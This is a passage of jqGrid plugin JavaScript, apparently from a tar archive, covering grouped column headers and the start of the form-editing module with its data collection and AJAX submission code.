ts.grid.hDiv), clitem, fl, k, j, itm, cellInd, $thead = $htable.children("thead"); $("tr.jqg-first-row-header", $thead).remove(); if(ts.p.colSpanHeader.length) { for(j = 0;j<ts.p.colSpanHeader.length;j++) { clitem = ts.p.colSpanHeader[j]; cellInd = $.jgrid.getElemByAttrVal( ts.p.colModel, 'name', clitem.startColumnName, true); if(cellInd < 0 ) { continue; } for(k = cellInd+1; k < cellInd + clitem.numberOfColumns; k++) { ts.p.colModel[k].hidedlg=false; ts.p.colModel[k]._colspancell=false; } $(">tr", $thead).each(function( i, n) { itm = $("th",n).eq(cellInd); if(!itm.className) { itm.className = ""; } $(itm).attr("colspan","").removeClass( itm.className ); if($(n).hasClass('ui-jqgrid-labels')) { fl = itm.find("div.ui-th-div")[0]; fl.innerHTML = clitem.savedLabel; } for(k=1;k<clitem.numberOfColumns;k++) { $("th", n).eq(cellInd+k).show(); } }); } } if(emptyColSpan) { ts.p.colSpanHeader =[]; } }); }, setGroupHeaders : function ( o ) { o = $.extend({ useColSpanStyle : false, groupHeaders: [] },o || {}); return this.each(function(){ var ts = this, i, cmi, skip = 0, $tr, $colHeader, th, $th, thStyle, iCol, cghi, //startColumnName, numberOfColumns, titleText, toolTip, cVisibleColumns, className, colModel = ts.p.colModel, cml = colModel.length, ths = ts.grid.headers, $htable = $("table.ui-jqgrid-htable", ts.grid.hDiv), $trLabels = $htable.children("thead").children("tr.ui-jqgrid-labels").last().addClass("jqg-second-row-header"), $thead = $htable.children("thead"), $theadInTable, $firstHeaderRow = $htable.find(".jqg-first-row-header"), $firstRow, $focusElem = false, frozen = false, //classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')]['grouping'], base = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].base; if(!ts.p.groupHeader) { ts.p.groupHeader = []; } ts.p.groupHeader.push(o); ts.p.groupHeaderOn = true; if($firstHeaderRow[0] === undefined) { $firstHeaderRow = $('<tr>', {role: "row", "aria-hidden": "true"}).addClass("jqg-first-row-header").css("height", "auto"); } else { $firstHeaderRow.empty(); } if(ts.p.frozenColumns) { $(ts).jqGrid("destroyFrozenColumns"); frozen = true; } if( $(document.activeElement).is('input') || $(document.activeElement).is('textarea') ) { $focusElem = document.activeElement; } $(ts).prepend($thead); $tr = $('<tr>', {role: "row"}).addClass("ui-jqgrid-labels jqg-third-row-header"); for (i = 0; i < cml; i++) { th = ths[i].el; $th = $(th); cmi = colModel[i]; // build the next cell for the first header row thStyle = { height: '0px', width: ths[i].width + 'px', display: (cmi.hidden ? 'none' : '')}; $("<th>", {role: 'gridcell'}).css(thStyle).addClass("ui-first-th-"+ts.p.direction + " " + (cmi.labelClasses || "") ).appendTo($firstHeaderRow); th.style.width = ""; // remove unneeded style iCol = $.jgrid.inColumnHeader(cmi.name, o.groupHeaders); if (iCol >= 0) { cghi = o.groupHeaders[iCol]; numberOfColumns = cghi.numberOfColumns; titleText = cghi.titleText; toolTip = cghi.toolTip || ""; className = cghi.className || ""; // caclulate the number of visible columns from the next numberOfColumns columns for (cVisibleColumns = 0, iCol = 0; iCol < numberOfColumns && (i + iCol < cml); iCol++) { if (!colModel[i + iCol].hidden) { cVisibleColumns++; } } // The next numberOfColumns headers will be moved in the next row // in the current row will be placed the new column header with the titleText. // The text will be over the cVisibleColumns columns $colHeader = $('<th>').attr({role: "columnheader"}) .addClass(base.headerBox+ " ui-th-column-header ui-th-"+ts.p.direction+" "+className + " "+(cmi.labelClasses || "")) //.css({'height':'22px', 'border-top': '0 none'}) .html(titleText); if(cVisibleColumns > 0) { $colHeader.attr("colspan", String(cVisibleColumns)); } if(typeof toolTip === "string" && toolTip !== "") { $colHeader.attr("title", toolTip); } else if (ts.p.headertitles) { $colHeader.attr("title", $colHeader.text()); } // hide if not a visible cols if( cVisibleColumns === 0) { $colHeader.hide(); } $th.before($colHeader); // insert new column header before the current $tr.append(th); // move the current header in the next row // set the coumter of headers which will be moved in the next row skip = numberOfColumns - 1; } else { if (skip === 0) { if (o.useColSpanStyle) { // expand the header height to n rows var rowspan = $th.attr("rowspan") ? parseInt($th.attr("rowspan"),10) + 1 : 2; $th.attr("rowspan", rowspan); } else { $('<th>', {role: "columnheader"}) .addClass(base.headerBox+" ui-th-column-header ui-th-"+ts.p.direction) .css({"display": cmi.hidden ? 'none' : ''}) .insertBefore($th); $tr.append(th); } } else { // move the header to the next row //$th.css({"padding-top": "2px", height: "19px"}); $tr.append(th); skip--; } } } $theadInTable = $(ts).children("thead"); $theadInTable.prepend($firstHeaderRow); $tr.insertAfter($trLabels); $htable.append($theadInTable); if (o.useColSpanStyle) { // Increase the height of resizing span of visible headers $htable.find("span.ui-jqgrid-resize").each(function () { var $parent = $(this).parent(); if ($parent.is(":visible")) { this.style.cssText = 'height: ' + $parent.height() + 'px !important; cursor: col-resize;'; } }); // Set position of the sortable div (the main lable) // with the column header text to the middle of the cell. // One should not do this for hidden headers. $htable.find("div.ui-jqgrid-sortable").each(function () { var $ts = $(this), $parent = $ts.parent(); if ($parent.is(":visible") && $parent.is(":has(span.ui-jqgrid-resize)")) { // minus 4px from the margins of the resize markers $ts.css('top', ($parent.height() - $ts.outerHeight()) / 2 - 4 + 'px'); } }); } $firstRow = $theadInTable.find("tr.jqg-first-row-header"); $(ts).on('jqGridResizeStop.setGroupHeaders', function (e, nw, idx) { $firstRow.find('th').eq(idx)[0].style.width = nw + "px"; }); if( $focusElem ) { try { $($focusElem).focus(); } catch(fe) {} } var testws = $("tr.jqg-second-row-header th").eq( 0 ); if( $.jgrid.type(testws)==='object' && testws.length && $.jgrid.trim(testws[0].outerText) === "" ) { $("tr.jqg-second-row-header th").eq( 0 ).prepend(' '); } if(frozen) { $(ts).jqGrid("setFrozenColumns"); } $(ts).triggerHandler("afterSetGroupHandler", [o]); }); }, destroyGroupHeader : function(nullHeader) { if(nullHeader === undefined) { nullHeader = true; } return this.each(function() { var $t = this, $tr, i, l, headers, $th, $resizing, grid = $t.grid, thead = $("table.ui-jqgrid-htable thead", grid.hDiv), cm = $t.p.colModel, hc, frozen = false; if(!grid) { return; } if($t.p.frozenColumns) { $($t).jqGrid("destroyFrozenColumns"); frozen = true; } $(this).off('.setGroupHeaders'); $t.p.groupHeaderOn = false; $tr = $("<tr>", {role: "row"}).addClass("ui-jqgrid-labels"); headers = grid.headers; for (i = 0, l = headers.length; i < l; i++) { hc = cm[i].hidden ? "none" : ""; $th = $(headers[i].el) .width( $('tr.jqg-first-row-header th', thead).eq( i ).width() ) .css('display',hc); try { $th.removeAttr("rowSpan"); } catch (rs) { //IE 6/7 $th.attr("rowSpan",1); } $tr.append($th); $resizing = $th.children("span.ui-jqgrid-resize"); if ($resizing.length>0) {// resizable column $resizing[0].style.height = ""; } $th.children("div")[0].style.top = ""; } $(thead).children('tr.ui-jqgrid-labels').remove(); $(thead).children('tr.jqg-first-row-header').remove(); $(thead).prepend($tr); if(nullHeader === true) { $($t).jqGrid('setGridParam',{ 'groupHeader': null}); } if(frozen) { $($t).jqGrid("setFrozenColumns"); } $($t).off("afterSetGroupHandler"); }); }, isGroupHeaderOn : function () { var $t = this[0]; return $t.p.groupHeaderOn === true && $t.p.groupHeader && (Array.isArray($t.p.groupHeader) || $.jgrid.isFunction($t.p.groupHeader) ); }, refreshGroupHeaders : function() { return this.each(function(){ var ts = this, gHead, gh = $(ts).jqGrid("isGroupHeaderOn"); if(gh) { $(ts).jqGrid('destroyGroupHeader', false); gHead = $.extend([],ts.p.groupHeader); ts.p.groupHeader = null; } if( gh && gHead) { for(var k =0; k < gHead.length; k++) { $(ts).jqGrid('setGroupHeaders', gHead[k]); } } }); } }); //module end })); grid.formedit.js000064400000271120151677266200007656 0ustar00/*jshint eqeqeq:false, eqnull:true, devel:true */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base", "./grid.common" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin var rp_ge = {}; $.jgrid.extend({ editGridRow : function(rowid, p){ var regional = $.jgrid.getRegional(this[0], 'edit'), currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].formedit, commonstyle = $.jgrid.styleUI[currstyle].common; p = $.extend(true, { top : 0, left: 0, width: '500', datawidth: 'auto', height: 'auto', dataheight: 'auto', modal: false, overlay : 30, drag: true, resize: true, url: null, mtype : "POST", clearAfterAdd :true, closeAfterEdit : false, reloadAfterSubmit : true, onInitializeForm: null, beforeInitData: null, beforeShowForm: null, afterShowForm: null, beforeSubmit: null, afterSubmit: null, onclickSubmit: null, afterComplete: null, onclickPgButtons : null, afterclickPgButtons: null, editData : {}, recreateForm : false, jqModal : true, closeOnEscape : false, addedrow : "first", topinfo : '', bottominfo: '', saveicon : [], closeicon : [], savekey: [false,13], navkeys: [false,38,40], checkOnSubmit : false, checkOnUpdate : false, processing : false, onClose : null, ajaxEditOptions : {}, serializeEditData : null, viewPagerButtons : true, overlayClass : commonstyle.overlay, removemodal : true, form: 'edit', template : null, focusField : true, editselected : false, html5Check : false, buttons : [] }, regional, p || {}); rp_ge[$(this)[0].p.id] = p; return this.each(function(){ var $t = this; if (!$t.grid || !rowid) {return;} $t.p.savedData = {}; var gID = $t.p.id, frmgr = "FrmGrid_"+gID, frmtborg = "TblGrid_"+gID, frmtb = "#"+$.jgrid.jqID(frmtborg), frmtb2, IDs = {themodal:'editmod'+gID,modalhead:'edithd'+gID,modalcontent:'editcnt'+gID, scrollelm : frmgr}, showFrm = true, maxCols = 1, maxRows=0, postdata, diff, frmoper, templ = typeof rp_ge[$t.p.id].template === "string" && rp_ge[$t.p.id].template.length > 0, errors =$.jgrid.getRegional(this, 'errors'); rp_ge[$t.p.id].styleUI = $t.p.styleUI || 'jQueryUI'; if($.jgrid.isMobile()) { rp_ge[$t.p.id].resize = false; } if (rowid === "new") { rowid = "_empty"; frmoper = "add"; p.caption=rp_ge[$t.p.id].addCaption; } else { p.caption=rp_ge[$t.p.id].editCaption; frmoper = "edit"; } if(!p.recreateForm) { if( $($t).data("formProp") ) { $.extend(rp_ge[$(this)[0].p.id], $($t).data("formProp")); } } var closeovrl = true; if(p.checkOnUpdate && p.jqModal && !p.modal) { closeovrl = false; } function getFormData(){ var a2 ={}, i; $(frmtb).find(".FormElement").each(function() { var celm = $(".customelement", this); if (celm.length) { var elem = celm[0], nm = $(elem).attr('name'); $.each($t.p.colModel, function(){ if(this.name === nm && this.editoptions && $.jgrid.isFunction(this.editoptions.custom_value)) { try { let cvr = this.editoptions.custom_value.call($t, $("#"+$.jgrid.jqID(nm),frmtb),'get'); if( cvr === "#ignoreme#") { } else if (crv === undefined) { throw "e1"; } else { postdata[nm] = cvr; } } catch (e) { if (e==="e1") {$.jgrid.info_dialog(errors.errcap,"function 'custom_value' "+rp_ge[$(this)[0]].p.msg.novalue,rp_ge[$(this)[0]].p.bClose, {styleUI : rp_ge[$(this)[0]].p.styleUI });} else {$.jgrid.info_dialog(errors.errcap,e.message,rp_ge[$(this)[0]].p.bClose, {styleUI : rp_ge[$(this)[0]].p.styleUI });} } return true; } }); } else { switch ($(this).get(0).type) { case "checkbox": if($(this).is(":checked")) { postdata[this.name]= $(this).val(); } else { var ofv = $(this).attr("offval"); postdata[this.name]= ofv; } break; case "select-one": postdata[this.name]= $(this).val(); break; case "select-multiple": postdata[this.name]= $(this).val(); postdata[this.name] = postdata[this.name] ? postdata[this.name].join(",") : ""; break; case "radio" : if(a2.hasOwnProperty(this.name)) { return true; } else { a2[this.name] = ($(this).attr("offval") === undefined) ? "off" : $(this).attr("offval"); } break; default: postdata[this.name] = $(this).val(); } if($t.p.autoencode) { postdata[this.name] = $.jgrid.htmlEncode(postdata[this.name]); } } }); for(i in a2 ) { if( a2.hasOwnProperty(i)) { var val = $('input[name="'+i+'"]:checked',frmtb).val(); postdata[i] = (val !== undefined) ? val : a2[i]; if($t.p.autoencode) { postdata[i] = $.jgrid.htmlEncode(postdata[i]); } } } return true; } function createData(rowid,obj,tb,maxcols){ var nm, hc,trdata, cnt=0,tmp, dc,elc, retpos=[], ind=false, tdtmpl = "<td class='CaptionTD'></td><td class='DataTD'></td>", tmpl="", i, ffld; //*2 for (i =1; i<=maxcols;i++) { tmpl += tdtmpl; } if(rowid !== '_empty') { ind = $(obj).jqGrid("getInd",rowid); } $(obj.p.colModel).each( function(i) { nm = this.name; // hidden fields are included in the form if(this.editrules && this.editrules.edithidden === true) { hc = false; } else { hc = this.hidden === true ? true : false; } dc = hc ? "style='display:none'" : ""; if ( nm !== 'cb' && nm !== 'subgrid' && this.editable===true && nm !== 'rn' && nm!=='sc') { if(ind === false) { tmp = ""; } else { if(nm === obj.p.ExpandColumn && obj.p.treeGrid === true) { tmp = $("td[role='gridcell']",obj.rows[ind]).eq( i ).text(); } else { try { tmp = $.unformat.call(obj, $("td[role='gridcell']",obj.rows[ind]).eq( i ),{rowId:rowid, colModel:this},i); } catch (_) { tmp = (this.edittype && this.edittype === "textarea") ? $("td[role='gridcell']",obj.rows[ind]).eq( i ).text() : $("td[role='gridcell']",obj.rows[ind]).eq( i ).html(); } if(!tmp || tmp === " " || tmp === " " || (tmp.length===1 && tmp.charCodeAt(0)===160) ) {tmp='';} } } var opt = $.extend({}, this.editoptions || {} ,{id:nm,name:nm, rowId: rowid, oper:frmoper, module : 'form', checkUpdate : rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate}), frmopt = $.extend({}, {elmprefix:'',elmsuffix:'',rowabove:false,rowcontent:''}, this.formoptions || {}), rp = parseInt(frmopt.rowpos,10) || cnt+1, cp = parseInt((parseInt(frmopt.colpos,10) || 1)*2,10); if(rowid === "_empty" && opt.defaultValue ) { tmp = $.jgrid.isFunction(opt.defaultValue) ? opt.defaultValue.call($t) : opt.defaultValue; } if(!this.edittype) { this.edittype = "text"; } if($t.p.autoencode) { tmp = $.jgrid.htmlDecode(tmp); } elc = $.jgrid.createEl.call($t,this.edittype,opt,tmp,false,$.extend({},$.jgrid.ajaxOptions,obj.p.ajaxSelectOptions || {})); //if(tmp === "" && this.edittype == "checkbox") {tmp = $(elc).attr("offval");} //if(tmp === "" && this.edittype == "select") {tmp = $("option:eq(0)",elc).text();} if(this.edittype === "select") { tmp = $(elc).val(); if($(elc).get(0).type === 'select-multiple' && tmp) { tmp = tmp.join(","); } } if(this.edittype === 'checkbox') { if($(elc).is(":checked")) { tmp= $(elc).val(); } else { tmp = $(elc).attr("offval"); } } $(elc).addClass("FormElement"); if(this.edittype === 'select') { $(elc).addClass( styles.selectClass ); } else if( $.inArray(this.edittype, ['text','textarea','password', 'color', 'date', 'datetime', 'datetime-local','email','month', 'number','range', 'search', 'tel', 'time', 'url','week'] ) > -1) { $(elc).addClass( styles.inputClass ); } ffld = true; if(templ) { var ftmplfld = $(frm).find("#"+nm); if(ftmplfld.length){ ftmplfld.replaceWith( elc ); } else { ffld = false; } } else { //-------------------- trdata = $(tb).find("tr[rowpos="+rp+"]"); if(frmopt.rowabove) { var newdata = $("<tr><td class='contentinfo' colspan='"+(maxcols*2)+"'>"+frmopt.rowcontent+"</td></tr>"); $(tb).append(newdata); newdata[0].rp = rp; } if ( trdata.length===0 ) { if(maxcols > 1) { trdata = $("<tr rowpos='"+rp+"'></tr>").addClass("FormData").attr("id","tr_"+nm); } else { trdata = $("<tr "+dc+" rowpos='"+rp+"'></tr>").addClass("FormData").attr("id","tr_"+nm); } $(trdata).append(tmpl); $(tb).append(trdata); trdata[0].rp = rp; } $("td",trdata[0]).eq( cp-2 ).html("<label for='"+nm+"' class='" + styles.labelClass + "'>"+ (frmopt.label === undefined ? obj.p.colNames[i]: frmopt.label) + "</label>"); $("td",trdata[0]).eq( cp-1 ).append(frmopt.elmprefix).append(elc).append(frmopt.elmsuffix); if( maxcols > 1 && hc) { $("td",trdata[0]).eq( cp-2 ).hide(); $("td",trdata[0]).eq( cp-1 ).hide(); } //------------------------- } if( (rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) && ffld) { $t.p.savedData[nm] = tmp; } if(this.edittype==='custom' && $.jgrid.isFunction(opt.custom_value) ) { opt.custom_value.call($t, $("#"+nm, elc),'set',tmp); } $.jgrid.bindEv.call($t, elc, opt); retpos[cnt] = i; cnt++; } }); if( cnt > 0) { var idrow; if(templ) { idrow = "<div class='FormData' style='display:none'><input class='FormElement' id='id_g' type='text' name='"+obj.p.id+"_id' value='"+rowid+"'/>"; $(frm).append(idrow); } else { idrow = $("<tr class='FormData' style='display:none'><td class='CaptionTD'></td><td colspan='"+ (maxcols*2-1)+"' class='DataTD'><input class='FormElement' id='id_g' type='text' name='"+obj.p.id+"_id' value='"+rowid+"'/></td></tr>"); idrow[0].rp = cnt+999; $(tb).append(idrow); } //$(tb).append(idrow); if(rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) { $t.p.savedData[obj.p.id+"_id"] = rowid; } } return retpos; } function fillData(rowid,obj,fmid){ var nm,cnt=0,tmp, fld,opt,vl,vlc; if(rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) { $t.p.savedData = {}; $t.p.savedData[obj.p.id+"_id"]=rowid; } var cm = obj.p.colModel; if(rowid === '_empty') { $(cm).each(function(){ nm = this.name; opt = $.extend({}, this.editoptions || {} ); fld = $("#"+$.jgrid.jqID(nm),fmid); if(fld && fld.length && fld[0] !== null) { vl = ""; if(this.edittype === 'custom' && $.jgrid.isFunction(opt.custom_value)) { opt.custom_value.call($t, $("#"+nm,fmid),'set',vl); } else if(opt.defaultValue ) { vl = $.jgrid.isFunction(opt.defaultValue) ? opt.defaultValue.call($t) : opt.defaultValue; if(fld[0].type==='checkbox') { vlc = vl.toLowerCase(); if(vlc.search(/(false|f|0|no|n|off|undefined)/i)<0 && vlc!=="") { fld[0].checked = true; fld[0].defaultChecked = true; fld[0].value = vl; } else { fld[0].checked = false; fld[0].defaultChecked = false; } } else {fld.val(vl);} } else { if( fld[0].type==='checkbox' ) { fld[0].checked = false; fld[0].defaultChecked = false; vl = $(fld).attr("offval"); } else if (fld[0].type && fld[0].type.slice(0,6)==='select') { fld[0].selectedIndex = 0; } else { fld.val(vl); } } if(rp_ge[$t.p.id].checkOnSubmit===true || rp_ge[$t.p.id].checkOnUpdate) { $t.p.savedData[nm] = vl; } } }); $("#id_g",fmid).val(rowid); return; } var tre = $(obj).jqGrid("getInd",rowid,true); if(!tre) {return;} $('td[role="gridcell"]',tre).each( function(i) { nm = cm[i].name; // hidden fields are included in the form if ( nm !== 'cb' && nm !== 'subgrid' && nm !== 'rn' && cm[i].editable===true && nm !== 'sc') { if(nm === obj.p.ExpandColumn && obj.p.treeGrid === true) { tmp = $(this).text(); } else { try { tmp = $.unformat.call(obj, $(this),{rowId:rowid, colModel:cm[i]},i); } catch (_) { tmp = cm[i].edittype==="textarea" ? $(this).text() : $(this).html(); } } if($t.p.autoencode) {tmp = $.jgrid.htmlDecode(tmp);} if(rp_ge[$t.p.id].checkOnSubmit===true || rp_ge[$t.p.id].checkOnUpdate) { $t.p.savedData[nm] = tmp; } nm = $.jgrid.jqID(nm); switch (cm[i].edittype) { case "select": var opv = tmp.split(","); opv = $.map(opv,function(n){return $.jgrid.trim(n);}); $("#"+nm+" option",fmid).each(function(){ if (!cm[i].editoptions.multiple && ($.jgrid.trim(tmp) === $.jgrid.trim($(this).text()) || opv[0] === $.jgrid.trim($(this).text()) || opv[0] === $.jgrid.trim($(this).val())) ){ this.selected= true; } else if (cm[i].editoptions.multiple){ if( $.inArray($.jgrid.trim($(this).text()), opv ) > -1 || $.inArray($.jgrid.trim($(this).val()), opv ) > -1 ){ this.selected = true; }else{ this.selected = false; } } else { this.selected = false; } }); if(rp_ge[$t.p.id].checkOnSubmit===true || rp_ge[$t.p.id].checkOnUpdate) { tmp = $("#"+nm,fmid).val(); if(cm[i].editoptions.multiple) { tmp = tmp.join(","); } $t.p.savedData[nm] = tmp; } break; case "checkbox": tmp = String(tmp); if(cm[i].editoptions && cm[i].editoptions.value) { var cb = cm[i].editoptions.value.split(":"); if(cb[0] === tmp) { $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']({"checked":true, "defaultChecked" : true}); } else { $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']({"checked":false, "defaultChecked" : false}); } } else { tmp = tmp.toLowerCase(); if(tmp.search(/(false|f|0|no|n|off|undefined)/i)<0 && tmp!=="") { $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']("checked",true); $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']("defaultChecked",true); //ie } else { $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']("checked", false); $("#"+nm, fmid)[$t.p.useProp ? 'prop': 'attr']("defaultChecked", false); //ie } } if(rp_ge[$t.p.id].checkOnSubmit===true || rp_ge[$t.p.id].checkOnUpdate) { if($("#"+nm, fmid).is(":checked")) { tmp = $("#"+nm, fmid).val(); } else { tmp = $("#"+nm, fmid).attr("offval"); } $t.p.savedData[nm] = tmp; } break; case 'custom' : try { if(cm[i].editoptions && $.jgrid.isFunction(cm[i].editoptions.custom_value)) { cm[i].editoptions.custom_value.call($t, $("#"+nm, fmid),'set',tmp); } else {throw "e1";} } catch (e) { if (e==="e1") {$.jgrid.info_dialog(errors.errcap,"function 'custom_value' "+rp_ge[$(this)[0]].p.msg.nodefined,$.rp_ge[$(this)[0]].p.bClose, {styleUI : rp_ge[$(this)[0]].p.styleUI });} else {$.jgrid.info_dialog(errors.errcap,e.message,$.rp_ge[$(this)[0]].p.bClose, {styleUI : rp_ge[$(this)[0]].p.styleUI });} } break; default : if(tmp === " " || tmp === " " || (tmp.length===1 && tmp.charCodeAt(0)===160) ) {tmp='';} $("#"+nm,fmid).val(tmp); } cnt++; } }); if(cnt>0) { $("#id_g",frmtb).val(rowid); if( rp_ge[$t.p.id].checkOnSubmit===true || rp_ge[$t.p.id].checkOnUpdate ) { $t.p.savedData[obj.p.id+"_id"] = rowid; } } } function setNulls() { $.each($t.p.colModel, function(i,n){ if(n.editoptions && n.editoptions.NullIfEmpty === true) { if(postdata.hasOwnProperty(n.name) && postdata[n.name] === "") { postdata[n.name] = 'null'; } } }); } function postIt() { var copydata, ret=[true,"",""], onCS = {}, opers = $t.p.prmNames, idname, oper, key, selr, i, url; var retvals = $($t).triggerHandler("jqGridAddEditBeforeCheckValues", [postdata, $(frmgr), frmoper]); if(retvals && typeof retvals === 'object') {postdata = retvals;} if($.jgrid.isFunction(rp_ge[$t.p.id].beforeCheckValues)) { retvals = rp_ge[$t.p.id].beforeCheckValues.call($t, postdata, $(frmgr),frmoper); if(retvals && typeof retvals === 'object') {postdata = retvals;} } if(rp_ge[$t.p.id].html5Check) { if( !$.jgrid.validateForm(frm[0]) ) { return false; } } for( key in postdata ){ if(postdata.hasOwnProperty(key)) { ret = $.jgrid.checkValues.call($t,postdata[key],key); if(ret[0] === false) {break;} } } setNulls(); if(ret[0]) { onCS = $($t).triggerHandler("jqGridAddEditClickSubmit", [rp_ge[$t.p.id], postdata, frmoper]); if( onCS === undefined && $.jgrid.isFunction( rp_ge[$t.p.id].onclickSubmit)) { onCS = rp_ge[$t.p.id].onclickSubmit.call($t, rp_ge[$t.p.id], postdata, frmoper) || {}; } ret = $($t).triggerHandler("jqGridAddEditBeforeSubmit", [postdata, $(frmgr), frmoper]); if(ret === undefined) { ret = [true,"",""]; } if( ret[0] && $.jgrid.isFunction(rp_ge[$t.p.id].beforeSubmit)) { ret = rp_ge[$t.p.id].beforeSubmit.call($t,postdata,$(frmgr), frmoper); } } if(ret[0] && !rp_ge[$t.p.id].processing) { rp_ge[$t.p.id].processing = true; $("#sData", frmtb+"_2").addClass( commonstyle.active ); url = rp_ge[$t.p.id].url || $($t).jqGrid('getGridParam','editurl'); oper = opers.oper; idname = (url === 'clientArray' || url==='storage') ? $t.p.keyName : opers.id; // we add to pos data array the action - the name is oper postdata[oper] = ($.jgrid.trim(postdata[$t.p.id+"_id"]) === "_empty") ? opers.addoper : opers.editoper; if(postdata[oper] !== opers.addoper) { postdata[idname] = postdata[$t.p.id+"_id"]; } else { // check to see if we have allredy this field in the form and if yes lieve it if( postdata[idname] === undefined ) {postdata[idname] = postdata[$t.p.id+"_id"];} } delete postdata[$t.p.id+"_id"]; postdata = $.extend(postdata,rp_ge[$t.p.id].editData,onCS); if($t.p.treeGrid === true) { if(postdata[oper] === opers.addoper) { selr = $($t).jqGrid("getGridParam", 'selrow'); var tr_par_id = $t.p.treeGridModel === 'adjacency' ? $t.p.treeReader.parent_id_field : 'parent_id'; postdata[tr_par_id] = selr; } for(i in $t.p.treeReader){ if($t.p.treeReader.hasOwnProperty(i)) { var itm = $t.p.treeReader[i]; if(postdata.hasOwnProperty(itm)) { if(postdata[oper] === opers.addoper && i === 'parent_id_field') {continue;} delete postdata[itm]; } } } } postdata[idname] = $.jgrid.stripPref($t.p.idPrefix, postdata[idname]); var ajaxOptions = $.extend({ url: url, type: rp_ge[$t.p.id].mtype, data: $.jgrid.isFunction(rp_ge[$t.p.id].serializeEditData) ? rp_ge[$t.p.id].serializeEditData.call($t,postdata) : postdata, success:function(res,status,data){ var key; $("#sData", frmtb+"_2").removeClass( commonstyle.active ); postdata[idname] = $t.p.idPrefix + postdata[idname]; if(data.status >= 300 && data.status !== 304) { ret[0] = false; ret[1] = $($t).triggerHandler("jqGridAddEditErrorTextFormat", [data, frmoper]); if ($.jgrid.isFunction(rp_ge[$t.p.id].errorTextFormat)) { ret[1] = rp_ge[$t.p.id].errorTextFormat.call($t, data, frmoper); } else { ret[1] = status + " Status: '" + data.statusText + "'. Error code: " + data.status; } } else { // data is posted successful // execute aftersubmit with the returned data from server ret = $($t).triggerHandler("jqGridAddEditAfterSubmit", [data, postdata, frmoper]); if(ret === undefined) { ret = [true,"",""]; } if( ret[0] && $.jgrid.isFunction(rp_ge[$t.p.id].afterSubmit) ) { ret = rp_ge[$t.p.id].afterSubmit.call($t, data,postdata, frmoper); } } if(ret[0] === false) { $(".FormError",frmgr).html(ret[1]); $(".FormError",frmgr).show(); } else { if($t.p.autoencode) { $.each(postdata,function(n,v){ postdata[n] = $.jgrid.htmlDecode(v); }); } //rp_ge[$t.p.id].reloadAfterSubmit = rp_ge[$t.p.id].reloadAfterSubmit && $t.p.datatype != "local"; // the action is add if(postdata[oper] === opers.addoper ) { //id processing // user not set the id ret[2] if(!ret[2]) {ret[2] = $.jgrid.randId();} if(postdata[idname] == null || postdata[idname] === ($t.p.idPrefix + "_empty") || postdata[idname] === ""){ postdata[idname] = ret[2]; } else { ret[2] = postdata[idname]; } if(rp_ge[$t.p.id].reloadAfterSubmit) { $($t).trigger("reloadGrid"); } else { if($t.p.treeGrid === true){ $($t).jqGrid("addChildNode",ret[2],selr,postdata ); } else { $($t).jqGrid("addRowData",ret[2],postdata,p.addedrow); } } if(rp_ge[$t.p.id].closeAfterAdd) { if($t.p.treeGrid !== true){ $($t).jqGrid("setSelection",ret[2]); } $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal,onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); } else if (rp_ge[$t.p.id].clearAfterAdd) { fillData("_empty", $t, frmgr); } } else { // the action is update if(rp_ge[$t.p.id].reloadAfterSubmit) { $($t).trigger("reloadGrid"); if( !rp_ge[$t.p.id].closeAfterEdit ) {setTimeout(function(){$($t).jqGrid("setSelection",postdata[idname]);},1000);} } else { if($t.p.treeGrid === true) { $($t).jqGrid("setTreeRow", postdata[idname],postdata); } else { $($t).jqGrid("setRowData", postdata[idname],postdata); } } if(rp_ge[$t.p.id].closeAfterEdit) {$.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal,onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form});} } if( $.jgrid.isFunction(rp_ge[$t.p.id].afterComplete) || Object.prototype.hasOwnProperty.call($._data( $($t)[0], 'events' ), 'jqGridAddEditAfterComplete') ) { copydata = data; setTimeout(function(){ $($t).triggerHandler("jqGridAddEditAfterComplete", [copydata, postdata, $(frmgr), frmoper]); try { rp_ge[$t.p.id].afterComplete.call($t, copydata, postdata, $(frmgr), frmoper); } catch(excacmp) { //do nothing } copydata=null; },500); } if(rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) { $(frmgr).data("disabled",false); if($t.p.savedData[$t.p.id+"_id"] !== "_empty"){ for(key in $t.p.savedData) { if($t.p.savedData.hasOwnProperty(key) && postdata[key]) { $t.p.savedData[key] = postdata[key]; } } } } } rp_ge[$t.p.id].processing=false; try{$(':input:visible',frmgr)[0].focus();} catch (e){} } }, $.jgrid.ajaxOptions, rp_ge[$t.p.id].ajaxEditOptions ); if (!ajaxOptions.url && !rp_ge[$t.p.id].useDataProxy) { if ($.jgrid.isFunction($t.p.dataProxy)) { rp_ge[$t.p.id].useDataProxy = true; } else { ret[0]=false;ret[1] += " "+errors.nourl; } } if (ret[0]) { if (rp_ge[$t.p.id].useDataProxy) { var dpret = $t.p.dataProxy.call($t, ajaxOptions, "set_"+$t.p.id); if(dpret === undefined) { dpret = [true, ""]; } if(dpret[0] === false ) { ret[0] = false; ret[1] = dpret[1] || "Error processing the row!" ; } else { 